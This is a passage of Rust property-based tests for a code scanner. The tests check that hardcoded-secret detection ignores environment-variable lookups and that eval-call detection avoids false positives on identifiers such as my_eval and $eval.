4653 contains_hardcoded_secret(&text),
4654 "token prefix '{prefix}' should be detected: {text}"
4655 );
4656 }
4657
4658 #[test]
4659 fn hardcoded_secret_ignores_env_lookups(
4660 keyword in prop::sample::select(vec![
4661 "api_key".to_string(),
4662 "password".to_string(),
4663 "secret_key".to_string(),
4664 "auth_token".to_string(),
4665 ]),
4666 ) {
4667 let text = format!("process.env.{keyword}");
4668 assert!(
4669 !contains_hardcoded_secret(&text),
4670 "env lookup should not be flagged: {text}"
4671 );
4672 }
4673
4674 #[test]
4675 fn eval_call_no_false_positive_on_underscore_identifiers(
4676 _dummy in Just(()),
4677 ) {
4678 let text = "my_eval('code')";
4679 assert!(
4680 !contains_eval_call(text),
4681 "underscore identifier prefix should not trigger eval detection: {text}"
4682 );
4683 }
4684
4685 #[test]
4686 fn eval_call_no_false_positive_on_dollar_identifiers(
4687 _dummy in Just(()),
4688 ) {
4689 let text = "$eval('code')";
4690 assert!(
4691 !contains_eval_call(text),
4692 "dollar identifier prefix should not trigger eval detection: {text}"
4693 );
4694 }
4695 }
4696 }
4697}